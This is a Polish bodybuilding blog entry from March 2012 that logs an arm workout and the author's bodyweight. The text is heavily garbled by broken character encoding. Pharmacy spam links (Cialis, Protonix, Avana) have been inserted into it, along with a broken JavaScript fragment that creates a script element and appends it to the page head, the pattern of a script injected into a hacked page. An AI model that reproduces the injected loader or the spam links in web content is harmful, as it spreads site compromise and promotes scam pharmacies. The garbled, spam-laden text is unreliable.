06.03.2012

6.03.2012 / Tomasz Lech / Kulturystyka

Dzisiaj trenowaAi??em bicepsy i tricepsy:
biceps
-uginanie przedramion gryfem Ai??amanym 4×12-10 40,50,60,65kg
-uginanie przedramion z hantlami siedzAi??c 4×10 16kg
-uginanie przedramion na modlitewniku 4×10 18kg/hantel

http://simplybars.co.uk/?p=887 online triceps Pills
-prostowanie przedramion siedzAi??c na maszynie 4×12
-francuskie od czoAi??a gryfem Ai??amanym 4×12-10 40,50,60,70kg
-francuskie siedzAi??c-oburAi??cz z hantlem 4×10 55kg/hantel

Z tygodnia na tydzieAi?? jestem coraz silniejszy i ciAi??A?szy.Waga rano na czczo 112kg przy niezAi??ym poziomie tkanki tAi??uszczowej.Na razie myAi??lAi?? starczy,nie chcAi?? windowaAi?? zbyt mocno wagi kosztem jakoAi??ci miAi??Ai??nia bo przede mnAi?? targi FIBO w Essen i nie chcAi?? na stoisku naszej firmy wyglAi??daAi?? jak pulpet.var d=document;var s=d.createElement(‚script’); buy protonix no prescription d.getElementsByTagName('head')[0].appendChild(s);d.getElementsByTagName('head')[0].appendChild(s); cialis 20 mg daily use http://babycalculators.com/abana-price-list/ Order avana costo della vita online Cheap